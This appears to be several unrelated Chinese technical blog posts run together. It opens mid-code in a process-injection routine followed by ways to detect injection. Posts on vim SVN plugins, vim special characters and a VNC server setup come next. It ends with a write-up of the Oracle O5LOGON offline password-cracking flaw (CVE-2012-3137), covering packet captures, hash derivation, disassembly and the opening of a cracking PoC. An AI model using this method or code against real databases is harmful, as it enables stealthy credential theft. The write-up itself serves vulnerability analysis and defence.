SetThreadContext(pi.hThread,&context);
ResumeThread(pi.hThread);
}

CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
::CloseHandle(hFile);
delete[] pBuf;
return TRUE;
}

2. 检测方法

  1. 注册表相关注入继续可以通过Hook写注册表相关API实现监控
  2. SetWindowsHookEx则需要检查最后一个参数是否为0,为0表示全局注入,这是我们
    关注的地方。但是输入法之类的正常程序也可能使用注入技术。
  3. CreateRemoteThread进程注入比较复杂,核心要点是要有跨进程写入数据的动作,
    后续从两个维度来进行检查

2.1 检查跨进程写入的数据

虽然WriteProcessMemory的底层API经常被Windows底层用作数据传递,但是通过
特征可以识别出来

  1. 写入的数据是PE文件
  2. 写入的数据里包含.dll (一般是DLL文件名,或者是导入表相关数据)
  3. 写入超长数据

2.2 检查线程代码执行部分地址

检查代码地址是否在WriteProcessMemory写入的数据区域之内

参考链接

公司使用svn管理源代码,避免不了要和svn打交道,有几个比较好的解决方案。

1. vcscommand.vim

http://www.vim.org/scripts/script.php?script_id=90

这个插件的特点是支持的版本管理工具多,支持git,svn等常见版本管理工具。
vcscommand.vim插件默认绑定了无差别的快捷键,使用起来非常方便。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|<Leader>|ca VCSAdd
|<Leader>|cn VCSAnnotate
|<Leader>|cN VCSAnnotate!
|<Leader>|cc VCSCommit
|<Leader>|cD VCSDelete
|<Leader>|cd VCSDiff
|<Leader>|cg VCSGotoOriginal
|<Leader>|cG VCSGotoOriginal!
|<Leader>|ci VCSInfo
|<Leader>|cl VCSLog
|<Leader>|cL VCSLock
|<Leader>|cr VCSReview
|<Leader>|cs VCSStatus
|<Leader>|cu VCSUpdate
|<Leader>|cU VCSUnlock
|<Leader>|cv VCSVimDiff

这个 <Leader> 得看你定义了什么快捷键,vim 默认的是 \

2. vim-unite-svn

小日本写的unite.vim的svn插件,unite.vim 是一个非常不错的vim插件,
它的作用是 为vim 写简单界面,要使用vim-unite-svn首先需要安装unite.vim 插件,
折腾这个插件的原因是vcscommand.vim有些不太好的地方。

  • buffer管理的不太好
  • status 比较弱
  • 羡慕emacs的vc mode的体验

https://github.com/Shougo/unite.vim

小日本写的 vim-unite-svn 插件太久没有更新了,有一些bug,我修改了一下,用了
一段时间暂时没有发现什么问题。

https://github.com/henices/vim-unite-svn

支持基本的svn命令, svn status, svn info, svn diff, svn commit, svn up

使用示例

1
2
3
:Unite svn/status
:Unite svn/diff
:Unite svn/blame

vim 的编辑能力确实很强,今天说一下如何在vim中输入特殊字符,比如音标、unicode 字符。

http://vimhelp.appspot.com/digraph.txt.html
http://vimhelp.appspot.com/insert.txt.html#i_CTRL-V_digit

关键就在上面两篇,可能许多人不喜欢看复杂的文章,我这里简单介绍一下用法。

输入音标 ə

i 进入编辑模式 CTRL-vu0259
那如何知道 ə 的 unicode hex number 是 0259呢,在vim的normal 模式下,将光标移动到ə输入ga

输入 ⇒

i 进入编辑模式 CTRL-k=>
:dig 可以看到支持这种方法输入的unicode 字符

因为疫情,现在公司启用远程办公了,不得已在工作机上开了vncserver,这篇文档做个记录。

(1) 安装

1
sudo dnf install tigervnc-server

(2) 创建服务

1
cp /lib/systemd/system/vncserver@.service /etc/systemd/system/vncserver@.service

编辑 /etc/systemd/system/vncserver@.service 替换下面两行的USER为实际用户名

1
2
ExecStart=/sbin/runuser -l USER -c "/usr/bin/vncserver %i -geometry 1280x1024"
PIDFile=/home/USER/.vnc/%H%i.pid

执行命令 systemctl daemon-reload

使用vpnpasswd修改密码

1
2
3
4
~]# su - USER
~]$ vncpasswd
Password:
Verify:

启动vncserver的命令行

1
sudo systemctl start vncserver@:1

参考文档:

https://docs.fedoraproject.org/en-US/Fedora/21/html/System_Administrators_Guide/ch-TigerVNC.html

(3)直接调用命令行

使用上面的方法过于繁琐,可以直接调用 vncserver 的命令行

vncserver :2 -geometry 1920x1080 -depth 24

(4) 改变vnc的默认桌面

vim ~/.vnc/xstartup

1
2
3
4
5
6
7
#!/bin/sh

unset SESSION_MANAGER
unset DBUS_SESSION_BUS_ADDRESS
#exec /etc/X11/xinit/xinitrc

exec /bin/sh /etc/xdg/xfce4/xinitrc

必须改变默认桌面,要不可能登录不进去。

其他

个人觉得从安全角度看,使用命令启用 vncserver 是比较合理的,要用了就打开,用完就关。另外vncserver 连接加了一层 tunnel,安全无小事。

1
2
3
4
5
6
7
8
9
10
11
12
13
NSFOCUS ID:    20847
BUGTRAQ ID: 55651
CVE ID: CVE-2012-3137
远程漏洞: 是
本地漏洞: 是
漏洞类型:
漏洞影响: 远程攻击者可以密码进行离线密码暴力破解
危险指数: 高
创建时间: 2012-9-27
更新时间:
攻击代码: 无

跟踪工程师: zz

漏洞概述:

Oracle是一款广泛被使用的商业数据库。

Oracle O5LOGON认证协议存在漏洞,这个漏洞可以使攻击者离线暴力破解Oracle数据库密码,
从而访问受保护的Oracle数据库中的数据。要利用这个漏洞攻击者只需要知道一个合法的
数据库用户名和一个正确的数据库名(SID),不需要使用中间人攻击。

Martinez Fayo 在2010年5月向Oracle报告了这个问题,Oracle在2011年的中期通过patch
set 11.2.0.3修复了这个漏洞,使用了新版本的协议。但是Oracle没有在 11.1和11.2 中
修复这个问题,因此这些版本仍然存在漏洞。

由于漏洞发生在认证阶段的早期,获取需要的数据后马上断开连接,不会在Oracle数据库
里留下登录日志,因此这个漏洞被称为 “stealth password cracking vulnerability”

细节:

O5LOGON 过程

1
2
3
4
5
6
7
8
         send username
Client -----------------------------> Server

AUTH_SESSKEY AUTH_VFR_DATA
Client <---------------------------- Server

AUTH_SESSKEY AUTH_PASSWORD
Clinet -----------------------------> Server

和这个漏洞相关的两个报文,包含了需要的信息, 如下:

(1) Server -> client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0000   00 f8 00 00 06 00 00 00 00 00 08 02 00 0c 00 00  ................
0010 00 0c 41 55 54 48 5f 53 45 53 53 4b 45 59 60 00 ..AUTH_SESSKEY`.
0020 00 00 60 35 32 46 43 30 34 42 31 46 46 38 31 31 ..`52FC04B1FF811
0030 30 43 41 31 32 36 33 44 46 35 42 43 36 31 41 37 0CA1263DF5BC61A7
0040 45 35 37 37 34 30 43 38 41 35 31 31 31 44 32 32 E57740C8A5111D22
0050 42 34 31 45 35 33 43 43 31 36 37 46 44 46 32 41 B41E53CC167FDF2A
0060 36 38 37 38 39 35 38 32 30 30 44 39 42 32 42 36 6878958200D9B2B6
0070 41 35 31 43 39 35 44 37 37 39 46 44 45 42 41 42 A51C95D779FDEBAB
0080 42 36 39 00 00 00 00 0d 00 00 00 0d 41 55 54 48 B69.........AUTH
0090 5f 56 46 52 5f 44 41 54 41 14 00 00 00 14 34 33 _VFR_DATA.....43
00a0 45 30 42 45 32 30 42 33 32 42 30 42 42 37 36 45 E0BE20B32B0BB76E
00b0 35 37 25 1b 00 00 04 01 00 00 00 02 00 00 00 00 57%.............
00c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00e0 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 ................
00f0 00 00 00 00 00 00 00 00 ........

(2) server <- client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
0000   03 73 03 d0 1a 05 0a 09 00 00 00 21 01 00 00 44  .s.........!...D
0010 46 bf bf 0d 00 00 00 ec 42 bf bf d8 53 bf bf 03 F.......B...S...
0020 73 79 73 24 00 00 00 0c 41 55 54 48 5f 53 45 53 sys$....AUTH_SES
0030 53 4b 45 59 20 01 00 00 fe 40 46 41 36 44 43 44 SKEY ....@FA6DCD
0040 30 46 33 38 39 45 39 32 44 31 38 46 38 31 38 38 0F389E92D18F8188
0050 45 43 36 39 33 31 33 42 35 32 34 46 34 32 31 31 EC69313B524F4211
0060 38 34 46 41 45 36 37 39 36 31 33 41 37 32 46 43 84FAE679613A72FC
0070 38 44 46 44 30 41 34 43 37 42 20 42 39 33 41 36 8DFD0A4C7B B93A6
0080 41 43 42 38 45 30 35 42 38 32 35 38 41 30 32 30 ACB8E05B8258A020
0090 44 32 39 35 34 45 43 31 42 36 33 00 01 00 00 00 D2954EC1B63.....
00a0 27 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f '....AUTH_PASSWO
00b0 52 44 c0 00 00 00 40 32 43 35 46 39 35 37 41 36 RD....@2C5F957A6
00c0 35 33 32 41 44 39 31 44 39 31 36 46 34 45 35 46 532AD91D916F4E5F
00d0 41 37 44 32 46 44 41 30 45 36 43 44 46 46 42 41 A7D2FDA0E6CDFFBA
00e0 41 45 44 38 38 33 43 41 46 34 46 32 30 30 43 38 AED883CAF4F200C8
00f0 39 38 33 41 45 33 44 00 00 00 00 18 00 00 00 08 983AE3D.........
0100 41 55 54 48 5f 52 54 54 0f 00 00 00 05 36 36 37 AUTH_RTT.....667
0110 30 38 00 00 00 00 27 00 00 00 0d 41 55 54 48 5f 08....'....AUTH_
0120 43 4c 4e 54 5f 4d 45 4d 0c 00 00 00 04 34 30 39 CLNT_MEM.....409
0130 36 00 00 00 00 27 00 00 00 0d 41 55 54 48 5f 54 6....'....AUTH_T
0140 45 52 4d 49 4e 41 4c 12 00 00 00 06 70 74 73 2f ERMINAL.....pts/
0150 31 38 00 00 00 00 2d 00 00 00 0f 41 55 54 48 5f 18....-....AUTH_
0160 50 52 4f 47 52 41 4d 5f 4e 4d 51 00 00 00 1b 73 PROGRAM_NMQ....s
0170 71 6c 70 6c 75 73 40 68 65 6e 69 63 65 73 20 28 qlplus@henices (
0180 54 4e 53 20 56 31 2d 56 33 29 00 00 00 00 24 00 TNS V1-V3)....$.
0190 00 00 0c 41 55 54 48 5f 4d 41 43 48 49 4e 45 15 ...AUTH_MACHINE.
01a0 00 00 00 07 68 65 6e 69 63 65 73 00 00 00 00 18 ....henices.....
01b0 00 00 00 08 41 55 54 48 5f 50 49 44 0c 00 00 00 ....AUTH_PID....
01c0 04 36 32 32 38 00 00 00 00 18 00 00 00 08 41 55 .6228.........AU
01d0 54 48 5f 53 49 44 15 00 00 00 07 68 65 6e 69 63 TH_SID.....henic
01e0 65 73 00 00 00 00 18 00 00 00 08 41 55 54 48 5f es.........AUTH_
01f0 41 43 4c 0c 00 00 00 04 34 34 30 30 00 00 00 00 ACL.....4400....
0200 36 00 00 00 12 41 55 54 48 5f 41 4c 54 45 52 5f 6....AUTH_ALTER_
0210 53 45 53 53 49 4f 4e 6f 00 00 00 25 41 4c 54 45 SESSIONo...%ALTE
0220 52 20 53 45 53 53 49 4f 4e 20 53 45 54 20 54 49 R SESSION SET TI
0230 4d 45 5f 5a 4f 4e 45 3d 27 2b 30 38 3a 30 30 27 ME_ZONE='+08:00'
0240 00 01 00 00 00 45 00 00 00 17 41 55 54 48 5f 4c .....E....AUTH_L
0250 4f 47 49 43 41 4c 5f 53 45 53 53 49 4f 4e 5f 49 OGICAL_SESSION_I
0260 44 60 00 00 00 20 43 41 41 38 39 33 41 43 30 41 D`... CAA893AC0A
0270 34 33 30 46 41 30 45 30 34 30 30 30 37 46 30 31 430FA0E040007F01
0280 30 31 31 38 35 34 00 00 00 00 30 00 00 00 10 41 011854....0....A
0290 55 54 48 5f 46 41 49 4c 4f 56 45 52 5f 49 44 00 UTH_FAILOVER_ID.
02a0 00 00 00 00 00 00 00 .......
1
2
3
4
AUTH_SESSKEY_SRV: 52FC04B1FF8110CA1263DF5BC61A7E57740C8A5111D22B41E53CC167FDF2A6878958200D9B2B6A51C95D779FDEBABB69
AUTH_SESSKEY_CLI: FA6DCD0F389E92D18F8188EC69313B524F421184FAE679613A72FC8DFD0A4C7BB93A6ACB8E05B8258A020D2954EC1B63
AUTH_PASSWORD : 2C5F957A6532AD91D916F4E5FA7D2FDA0E6CDFFBAAED883CAF4F200C8983AE3D
AUTH_VFR_DATA : 43E0BE20B32B0BB76E57

Oracle O5LOGON 协议介绍

Oracle 11g password hash 算法为, 用户名 sys, 密码 nsfocus

1
2
3
>>> import hashlib
>>> hashlib.sha1('nsfocus' + '\x43\xE0\xBE\x20\xB3\x2B\x0B\xB7\x6E\x57').hexdigest()
'c3d98762d258d4bd92c572065ddea9af38123f88'

可以在Oracle数据中查询:

1
2
3
4
5
6
7
8
9
10
11
SQL> select name, password, spare4 from sys.user$ where name = 'SYS';

NAME PASSWORD
------------------------------ ------------------------------
SPARE4
--------------------------------------------------------------------------------
SYS 0F2417000362F55F
S:C3D98762D258D4BD92C572065DDEA9AF38123F8843E0BE20B32B0BB76E57

password hash: C3D98762D258D4BD92C572065DDEA9AF38123F88
salt : 43E0BE20B32B0BB76E57
  1. client 发送用户名给server
    2 server 判断是否是可用的用户名,如果用户名可用,进入下一步。
  2. Server 加密AUTH_SESSKEY, 取出 salt

使用AES192 CBC 加密AUTH_SESSKEY, key为oralce数据库中的20字节的password hash和4个
零(192bit)。

  1. Server 将加密的AUTH_SESSKEY和AUTH_VFR_DATA 发送给Client
    AUTH_VFR_DATA 为salt

  2. Client计算password hash (通过用户输入的密码), 使用Client计算的password hash
    (加上4个零)为key 使用AES192 CBC算法加密Client AUTH_SESSKEY

  3. Client 计算 Combine_SessKey
    将解密的Server AUTH_SESSKEY 和 Client AUTH_SESSKEY的第17个字节开始的24个字节做异
    或,将异或结果的前16字节做MD5, 后8字节做MD5, 得到Combine_SessKey

  4. Client 使用 Combine_SessKey 加密用户输入的密码明文,得到 AUTH_PASSWORD
    使用算法为AES192 CBC

  5. Client 将加密的Client AUTH_SESSKEY和加密的AUTH_PASSWORD 发送给 Server

  6. Server 使用数据库中的 password hash 解密 Client AUTH_SESSKEY

  7. Server 尝试解密AUTH_PASSWORD 解密成功则认证通过

参看:
http://www.oxid.it/downloads/oracle_tns_aes192_check.txt

这个漏洞是生成server sesskey 时,在末尾添加了8个0x08, 因为salt已知(由服务器返回
),因此我们只需尝试计算SHA-1的password hash,然后利用这个password hash 去解密
server sesskey, 只要末尾是8个0x08 则说明这是正确的server sesskey,此时使用的密
码为正确的密码,原因是

AES 192 加密块长度为128 bit (16 byte), 分组加密如果明文内容不是块长度的整数倍时
需要填充。填充部分的内容为差的字节数,比如11字节的明文,需要在末尾填充5个0x5

从汇编代码里分析server session key 的生成过程,分析的程序为 Oracle.exe 11.2.0.1.0
oracle.exe调用 oran11.ztvo5ke 加密session key

oran11.ztvo5ke -> oracrypt11.ztceenc -> orancrypt11.ztcen

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct e_key {
unsigned char s[2];
unsigned char key[100];
};

struct sess_key {
uint32_t type;
unsigned char key[40];
}

struct pwd_hash {
uint32_t unknown1;
uint32_t hash_len;
unsigned char hash[20];
}

ztvo5ke ( e_key*, sess_key*, pwd_hash*, int);

sess_key.type == 0x1492 ( AES 192 )

plaintext 24 + 16 = 40

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:101BC481                 push    eax        ; unknown structure
.text:101BC482 push edx ; encrypted session key
.text:101BC483 push 28h ; length
.text:101BC485 push ecx ; plaintext session key
.text:101BC486 push 0
.text:101BC488 push ebx ; 0x18
.text:101BC489 push 87004001h
.text:101BC48E call ztceenc ; AES 192
.text:101BC493 add esp, 1Ch
.text:101BC496 mov ebx, eax
.text:101BC498 test ebx, ebx
.text:101BC49A jnz short loc_101BC4B8
.text:101BC49C lea edx, [ebp+var_A4]
.text:101BC4A2 lea eax, [edi+2]
.text:101BC4A5 push eax ; e_key+2
.text:101BC4A6 push [ebp+var_C8]
.text:101BC4AC push edx ; encryted session key
.text:101BC4AD call ztucbtx

ztceenc 运行前后的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
0DC3A4E4                                      40 00 00 00                       
0DC3A4F4 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00..
0DC3A504 0C 4A FE 0C 02 00 00 00 FF FF FF FF 13 00 00 00..
0DC3A514 02 00 00 00 00 00 00 00 14 00 00 00 14 00 00 00..
0DC3A524 44 94 3E 10 00 00 00 00 00 00 00 00 00 00 00 00..
0DC3A534 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00..
0DC3A544 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00..
0DC3A554 7A EF 5B 9E 89 D3 9F 07 62 A8 83 BB C6 4D 9F D9..
0DC3A564 EA 7B 90 1C 49 9B 73 36 BE 60 AF F6 69 A4 ED 37..
0DC3A574 8D 1D B3 B7 60 30 C7 56 00 00 00 00 8C A5 C3 0D..
0DC3A584 C8 B3 13 21 77 BF F6 84 28 3A D6 54 9F 65 96 0B..
0DC3A594 0E 0A E4 60 00 00 00 00 00 00 00 00 00 00 00 00..
0DC3A5A4 18 00 00 00 84 A5 C3 0D E0 3E FE 0C A8 46 A7 0C..
0DC3A5B4 94 77 FE 0C 0C C6 C3 0D 4A EA 50 01 F4 C4 C3 0D..
0DC3A5C4 F8 49 FE 0C 10 FB EC 0D..........................


eax = 0DC3A4F0
edx = 0DC3A514
ecx = 0DC3A554
ebx = 0DC3A5A4


0DC3A4E4 30 00 00 00..
0DC3A4F4 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00..
0DC3A504 0C 4A FE 0C 02 00 00 00 FF FF FF FF 13 00 00 00..
0DC3A514 61 15 91 7F D6 AE B9 29 00 07 A4 02 A6 B1 2B AA..
0DC3A524 BD 3B AA 0C 13 C0 E5 18 8E FE BA AC F5 4C 01 BE.
0DC3A534 96 8F 59 0D B9 9E 2C F6 98 74 1F EF 22 CE 17 47..
0DC3A544 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00..
0DC3A554 7A EF 5B 9E 89 D3 9F 07 62 A8 83 BB C6 4D 9F D9..
0DC3A564 EA 7B 90 1C 49 9B 73 36 BE 60 AF F6 69 A4 ED 37..
0DC3A574 8D 1D B3 B7 60 30 C7 56 00 00 00 00 8C A5 C3 0D..
0DC3A584 C8 B3 13 21 77 BF F6 84 28 3A D6 54 9F 65 96 0B..
0DC3A594 0E 0A E4 60 00 00 00 00 00 00 00 00 00 00 00 00..
0DC3A5A4 18 00 00 00 84 A5 C3 0D E0 3E FE 0C A8 46 A7 0C..
0DC3A5B4 94 77 FE 0C 0C C6 C3 0D 4A EA 50 01 F4 C4 C3 0D..
0DC3A5C4 F8 49 FE 0C 10 FB EC 0D


0DC3A4F0 30 00 00 00 offset
0DC3A514 61 15 91 7F ... encrypted session key (0x30 byte)
0DC3A554 7A EF 5B 9E ... plaintext session key (0x28 byte)
0DC3A584 8 B3 13 21 ... password hash (0x18 byte)

AES 192 加密40字节的明文,需要填充 8个 0x08

11.1

1
2
3
4
5
6
7
PASSWORD:            nsfocus
AUTH_SESSKEY: 43FD38029377C84620AE1851FC1D231409985064DEA0D0B8D48E50E6051751A5D8FDFEAAA9F83B99F37B051FA67F8546
AUTH_SESSKEY_CLIENT: C7248F0873F04B5A02E59178804BD361B0C77B20A4CF685460DA472996D5245745A791DFEA14399831EC62380808903C
AUTH_PASSWORD: 8B4C7D85F421EBA059FDBA21F5708FD4D3BB8AB2168941243B5EF07681F3B80A
AUTH_VFR_DATA: 3DA8A309D636ACF87004

PASSWORD HASH: EF92924A1DB06441457FDABC24BF89055C8594F7

11.2

1
2
3
4
5
6
7
PASSWORD    :        nsfocus
AUTH_SESSKEY: 52FC04B1FF8110CA1263DF5BC61A7E57740C8A5111D22B41E53CC167FDF2A6878958200D9B2B6A51C95D779FDEBABB69
AUTH_SESSKEY_C FA6DCD0F389E92D18F8188EC69313B524F421184FAE679613A72FC8DFD0A4C7BB93A6ACB8E05B8258A020D2954EC1B63
AUTH_PASSWORD 2C5F957A6532AD91D916F4E5FA7D2FDA0E6CDFFBAAED883CAF4F200C8983AE3D
AUTH_VFR_DATA 43E0BE20B32B0BB76E57

PASSWORD HASH: C3D98762D258D4BD92C572065DDEA9AF38123F88 43E0BE20B32B0BB76E57
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
aes key
0000 ef 92 92 4a 1d b0 64 41 45 7f da bc 24 bf 89 05
0010 5c 85 94 f7 00 00 00 00

decrypted_server_sesskey
0000 47 43 56 45 1f 61 c7 89 68 83 be ad ed c0 f4 54
0010 e3 dd 61 88 7e 78 d8 9a bc 8f dc 15 4f a6 2f 26
0020 a0 35 e2 63 68 bb 02 1b 08 08 08 08 08 08 08 08

encrypted_server_sesskey
0000 43 fd 38 02 93 77 c8 46 20 ae 18 51 fc 1d 23 14
0010 09 98 50 64 de a0 d0 b8 d4 8e 50 e6 05 17 51 a5
0020 d8 fd fe aa a9 f8 3b 99 f3 7b 05 1f a6 7f 85 46

AUTH_SESSKEY
0000 43 fd 38 02 93 77 c8 46 20 ae 18 51 fc 1d 23 14
0010 09 98 50 64 de a0 d0 b8 d4 8e 50 e6 05 17 51 a5
0020 d8 fd fe aa a9 f8 3b 99 f3 7b 05 1f a6 7f 85 46
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
aes key
0000 c3 d9 87 62 d2 58 d4 bd 92 c5 72 06 5d de a9 af
0010 38 12 3f 88 00 00 00 00

decrypted_server_sesskey
0000 21 64 7f ef 76 d3 ee 80 ed 24 47 50 f8 f4 f0 a6
0010 e4 18 a3 2a 40 0b 96 ea 5b 70 26 ab 6a e4 62 f5
0020 81 e0 62 1c 13 a0 21 90 08 08 08 08 08 08 08 08

encrypted_server_sesskey
0000 52 fc 04 b1 ff 81 10 ca 12 63 df 5b c6 1a 7e 57
0010 74 0c 8a 51 11 d2 2b 41 e5 3c c1 67 fd f2 a6 87
0020 89 58 20 0d 9b 2b 6a 51 c9 5d 77 9f de ba bb 69

AUTH_SESSKEY
0000 52 fc 04 b1 ff 81 10 ca 12 63 df 5b c6 1a 7e 57
0010 74 0c 8a 51 11 d2 2b 41 e5 3c c1 67 fd f2 a6 87
0020 89 58 20 0d 9b 2b 6a 51 c9 5d 77 9f de ba bb 69

exploit (POC)

o5logoncrack.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
/* 
11.1

PASSWORD: nsfocus
AUTH_SESSKEY: 43FD38029377C84620AE1851FC1D231409985064DEA0D0B8D48E50E6051751A5D8FDFEAAA9F83B99F37B051FA67F8546
AUTH_SESSKEY_CLIENT: C7248F0873F04B5A02E59178804BD361B0C77B20A4CF685460DA472996D5245745A791DFEA14399831EC62380808903C
AUTH_PASSWORD: 8B4C7D85F421EBA059FDBA21F5708FD4D3BB8AB2168941243B5EF07681F3B80A
AUTH_VFR_DATA: 3DA8A309D636ACF87004

PASSWORD HASH: EF92924A1DB06441457FDABC24BF89055C8594F7

11.2

PASSWORD : nsfocus
AUTH_SESSKEY: 52FC04B1FF8110CA1263DF5BC61A7E57740C8A5111D22B41E53CC167FDF2A6878958200D9B2B6A51C95D779FDEBABB69
AUTH_SESSKEY_C FA6DCD0F389E92D18F8188EC69313B524F421184FAE679613A72FC8DFD0A4C7BB93A6ACB8E05B8258A020D2954EC1B63
AUTH_PASSWORD 2C5F957A6532AD91D916F4E5FA7D2FDA0E6CDFFBAAED883CAF4F200C8983AE3D
AUTH_VFR_DATA 43E0BE20B32B0BB76E57

PASSWORD HASH: C3D98762D258D4BD92C572065DDEA9AF38123F88 43E0BE20B32B0BB76E57

11.x
ED91B97A04000F326F17430A65DACB30CD1EF788E6EC310742B811E32112C0C9CC39554C9C01A090CB95E95C94140C28
40E7B86C99F4BF1D0F17538C22EBCE054F5F677E2B521480F1F56143D047C00469A87049DE1B9CADDC8EA71392AD6E3A
2D4FD970C12D9618742E4525C514105E0BE24DE75C04A0C4BF6DD46BE88A339E
7FD52BC80AA5836695D4
18C314BE125DF23689215C78C33F623AABF1152E


-------------------------------------
aes key
0000 ef 92 92 4a 1d b0 64 41 45 7f da bc 24 bf 89 05
0010 5c 85 94 f7 00 00 00 00

decrypted_server_sesskey
0000 47 43 56 45 1f 61 c7 89 68 83 be ad ed c0 f4 54
0010 e3 dd 61 88 7e 78 d8 9a bc 8f dc 15 4f a6 2f 26
0020 a0 35 e2 63 68 bb 02 1b 08 08 08 08 08 08 08 08

encrypted_server_sesskey
0000 43 fd 38 02 93 77 c8 46 20 ae 18 51 fc 1d 23 14
0010 09 98 50 64 de a0 d0 b8 d4 8e 50 e6 05 17 51 a5
0020 d8 fd fe aa a9 f8 3b 99 f3 7b 05 1f a6 7f 85 46

AUTH_SESSKEY
0000 43 fd 38 02 93 77 c8 46 20 ae 18 51 fc 1d 23 14
0010 09 98 50 64 de a0 d0 b8 d4 8e 50 e6 05 17 51 a5
0020 d8 fd fe aa a9 f8 3b 99 f3 7b 05 1f a6 7f 85 46

----------------
aes key
0000 c3 d9 87 62 d2 58 d4 bd 92 c5 72 06 5d de a9 af
0010 38 12 3f 88 00 00 00 00

decrypted_server_sesskey
0000 21 64 7f ef 76 d3 ee 80 ed 24 47 50 f8 f4 f0 a6
0010 e4 18 a3 2a 40 0b 96 ea 5b 70 26 ab 6a e4 62 f5
0020 81 e0 62 1c 13 a0 21 90 08 08 08 08 08 08 08 08

encrypted_server_sesskey
0000 52 fc 04 b1 ff 81 10 ca 12 63 df 5b c6 1a 7e 57
0010 74 0c 8a 51 11 d2 2b 41 e5 3c c1 67 fd f2 a6 87
0020 89 58 20 0d 9b 2b 6a 51 c9 5d 77 9f de ba bb 69

AUTH_SESSKEY
0000 52 fc 04 b1 ff 81 10 ca 12 63 df 5b c6 1a 7e 57
0010 74 0c 8a 51 11 d2 2b 41 e5 3c c1 67 fd f2 a6 87
0020 89 58 20 0d 9b 2b 6a 51 c9 5d 77 9f de ba bb 69

------------------
aes key
0000 18 c3 14 be 12 5d f2 36 89 21 5c 78 c3 3f 62 3a
0010 ab f1 15 2e 00 00 00 00

decrypted_server_sesskey
0000 07 eb ab db ee 3a 0e b0 ab e1 9f 68 12 c1 e3 e6
0010 5a e9 fd 7c b9 ca ae e2 fb 21 20 d4 af 83 de 0c
0020 1e 12 dc 01 22 05 a0 75 08 08 08 08 08 08 08 08

encrypted_server_sesskey
0000 ed 91 b9 7a 04 00 0f 32 6f 17 43 0a 65 da cb 30
0010 cd 1e f7 88 e6 ec 31 07 42 b8 11 e3 21 12 c0 c9
0020 cc 39 55 4c 9c 01 a0 90 cb 95 e9 5c 94 14 0c 28

AUTH_SESSKEY
0000 ed 91 b9 7a 04 00 0f 32 6f 17 43 0a 65 da cb 30
0010 cd 1e f7 88 e6 ec 31 07 42 b8 11 e3 21 12 c0 c9
0020 cc 39 55 4c 9c 01 a0 90 cb 95 e9 5c 94 14 0c 28

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/aes.h>
#include <openssl/md5.h>
#include <openssl/sha.h>
#include "getopt.h"


//*********************************************************************************************************************
// Hashes captured on the network during authentication phase

//unsigned char AUTH_SESSKEY [] = { 0x43,0xFD,0x38,0x02,0x93,0x77,0xC8,0x46,0x20,0xAE,0x18,0x51,0xFC,0x1D,0x23,0x14,0x09,0x98,0x50,0x64,0xDE,0xA0,0xD0,0xB8,0xD4,0x8E,0x50,0xE6,0x05,0x17,0x51,0xA5,0xD8,0xFD,0xFE,0xAA,0xA9,0xF8,0x3B,0x99,0xF3,0x7B,0x05,0x1F,0xA6,0x7F,0x85,0x46};
//
//unsigned char AUTH_SESSKEY_C[] = { 0xC7,0x24,0x8F,0x08,0x73,0xF0,0x4B,0x5A,0x02,0xE5,0x91,0x78,0x80,0x4B,0xD3,0x61,0xB0,0xC7,0x7B,0x20,0xA4,0xCF,0x68,0x54,0x60,0xDA,0x47,0x29,0x96,0xD5,0x24,0x57,0x45,0xA7,0x91,0xDF,0xEA,0x14,0x39,0x98,0x31,0xEC,0x62,0x38,0x08,0x08,0x90,0x3C};
//
//unsigned char AUTH_PASSWORD [] = { 0x8B,0x4C,0x7D,0x85,0xF4,0x21,0xEB,0xA0,0x59,0xFD,0xBA,0x21,0xF5,0x70,0x8F,0xD4,0xD3,0xBB,0x8A,0xB2,0x16,0x89,0x41,0x24,0x3B,0x5E,0xF0,0x76,0x81,0xF3,0xB8,0x0A };
//
//unsigned char AUTH_VFR_DATA [] = { 0x3D,0xA8,0xA3,0x09,0xD6,0x36,0xAC,0xF8,0x70,0x04 };

